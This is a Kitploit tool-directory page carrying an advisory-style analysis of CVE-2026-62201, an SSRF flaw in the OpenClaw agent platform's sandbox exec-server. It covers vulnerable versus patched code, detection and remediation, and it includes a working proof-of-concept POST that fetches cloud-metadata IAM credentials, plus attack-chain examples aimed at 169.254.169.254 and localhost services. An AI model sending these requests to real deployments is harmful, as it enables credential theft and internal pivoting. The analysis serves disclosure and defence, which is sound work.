Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation. | Kitploit
Tools/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Vulnerability AnalysisExploitationWeb SecurityCloud Security
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-62201 — OpenClaw Sandbox Exec-Server Network Policy Bypass (SSRF)

Severity: High · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)


Vulnerability at a Glance

FieldValue
AdvisoryGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ProductOpenClaw (npm package openclaw) — sandbox exec-server component
Affectedopenclaw < 2026.6.6
Patched2026.6.6 and later
Root causeMissing SSRF validation in the exec-server's embedded HTTP helper (SANDBOX_HTTP_REQUEST_SCRIPT)
Fix commit21410d1c — "fix(codex): guard sandbox http requests"
Attack vectorHTTP POST to the exec-server's http/request handler with an attacker-controlled URL
ImpactLow-privilege caller reaches internal network destinations (cloud metadata, private IPs, localhost services) that OpenClaw network policy should block

Summary

OpenClaw is an AI agent platform whose sandbox exec-server exposes an HTTP request helper that agents use to make outbound web calls. Versions before 2026.6.6 shipped that helper with no SSRF protection: a lower-trust caller — any agent, tool, or input path the platform considers less trusted than a gateway operator — could submit an arbitrary URL and have the exec-server fetch it from inside the host network.

Network policy checks that apply to direct sandbox egress were not applied when requests transited the exec-server HTTP interface. That inconsistency is the vulnerability: the exec-server acted as an unrestricted HTTP proxy into the internal network.


Technical Deep Dive

The Component: Sandbox Exec-Server

When OpenClaw runs a Codex agent in a sandbox, it starts a local exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts) that hosts JSON-RPC methods over a WebSocket/HTTP transport. One of those methods, http/request, lets the agent fetch URLs. The implementation pipes the request through a small embedded Python script — SANDBOX_HTTP_REQUEST_SCRIPT — which does the actual urllib work.

The request handler lives in extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Vulnerable Code ([email protected])

The Python helper received the URL and only checked the scheme:

root@kitploit:~
# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

That is the entire gate. There was:

  • ❌ No hostname blocklist (localhost, *.internal, metadata.google.internal …)
  • ❌ No private / link-local / loopback IP rejection
  • ❌ No DNS-resolution check (hostname could resolve to an internal IP)
  • ❌ No redirect validation — a redirect to http://169.254.169.254/ was followed blindly

Result: {"method":"GET","url":"http://<internal-host>/"} returned the internal response body to the caller. The exec-server was an open proxy into the host network.

The Fix ([email protected])

Commit 21410d1c added defense in depth on both layers:

Layer 1 — TypeScript pre-check (assertSandboxHttpRequestTargetAllowed in http.ts):

root@kitploit:~
function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Layer 2 — Python helper hardening (assert_url_allowed in the embedded script):

  • Blocked hostnames: localhost, localhost.localdomain, metadata.google.internal, plus *.localhost, *.local, *.internal suffixes
  • Cloud metadata IPs: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Blocked IPv4/IPv6 networks: CGNAT 100.64.0.0/10, benchmarking 198.18.0.0/15, documentation 2001:db8::/32, and more
  • ipaddress classification: loopback, private, link-local, multicast, reserved, unspecified
  • DNS resolution pinning: the hostname is resolved before the request, every resolved address is checked, and the checked addresses are then pinned for the actual connection (prevents DNS-rebinding)
  • GuardedRedirectHandler: every redirect hop re-runs assert_url_allowed before it is followed
  • IPv6-embedded-IPv4 extraction: mapped (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, and ISATAP forms are unwrapped and their embedded IPv4 is checked
root@kitploit:~
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Exploitation

Prerequisites

  • A running OpenClaw instance < 2026.6.6 with the sandbox exec-server enabled
  • Ability to reach the exec-server HTTP endpoint and invoke http/request (the platform treats this as low-privilege access — e.g. a plugin, a tool, or an input path, not a gateway operator)

Walkthrough

Step 1 — Post a request targeting an internal service:

root@kitploit:~
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Step 2 — Vulnerable response (HTTP 200):

The exec-server fetched the internal URL and returned the body to the caller — base64-wrapped as bodyBase64:

root@kitploit:~
{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Decoded:

root@kitploit:~
{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Step 3 — Patched response (HTTP 502):

root@kitploit:~
{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

The internal destination is unreachable through the exec-server on patched versions.

Attack Chain Examples

  1. Cloud metadata exfiltration — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM credentials
  2. Pivoting — reach admin consoles, databases, and other internal services on RFC 1918 space that were never meant to be reachable from the exec-server
  3. Localhost services — http://127.0.0.1:<port>/ to hit co-located unauthenticated management interfaces

Impact & CVSS Reasoning

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 High

  • PR:L — exploitation requires low-privilege access (a lower-trust caller / configured input path), not gateway-operator privileges. The network attack surface is what makes it dangerous: the exec-server sits inside the deployment network.
  • S:C — the scope changes: the compromise is not confined to the exec-server, it extends into the internal network (metadata service, private services).
  • C:H / I:N / A:N — the primary impact is confidentiality: data exfiltration from internal destinations. There is no direct write or availability impact via this path.

The advisory framing is important: OpenClaw's trusted-operator model assumes gateway operators are trusted. The bug is that a lower-trust surface (plugins, tools, input paths) could reach destinations that policy should have blocked.


Detection

Nuclei

A detection template is available — OAST-based, requiring no pre-knowledge of internal topology:

root@kitploit:~
http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Submitted upstream: projectdiscovery/nuclei-templates#17183

Log & Telemetry Signals

  • Outbound requests from the exec-server process to RFC 1918 / link-local / loopback addresses
  • POST requests to /exec/http (or the WebSocket JSON-RPC equivalent) whose JSON body contains a url field pointing at private/internal destinations
  • Requests from the exec-server to the cloud metadata IP (169.254.169.254, 100.100.100.200)
  • Anomalous egress: exec-server connecting to ports/services it has no business touching

Remediation

  1. Upgrade — npm install [email protected] (or later). The fix adds full SSRF validation at both the TS boundary and inside the Python helper.
  2. Restrict exec-server access — only expose it to trusted agents/tools; firewall it from lower-trust input paths.
  3. Narrow tool & channel allowlists — least-privilege for what agents can invoke.
  4. Network egress control — if you cannot upgrade immediately, block the exec-server host from reaching metadata endpoints and internal ranges at the network layer as a compensating control.
  5. Avoid shared gateways between untrusting users until patched.

Disclosure Timeline

  • Reported to OpenClaw maintainers (GitHub Security Advisory process)
  • Advisory published: GHSA-mgvr-6gvw-3rgr — High severity
  • CVE assigned: CVE-2026-62201
  • Fix released: 2026.6.6

References

  • GHSA-mgvr-6gvw-3rgr — OpenClaw Security Advisory
  • NVD — CVE-2026-62201
  • VulnCheck Advisory
  • Fix commit 21410d1c
  • Vulnerable source — sandbox-exec-server/http.ts

Responsible Disclosure

This research was conducted against publicly disclosed vulnerability data and software deployed in an isolated lab. No live production systems, third-party networks, or zero-day research are involved. All PoCs used here are harmless read-only requests.

Download Tool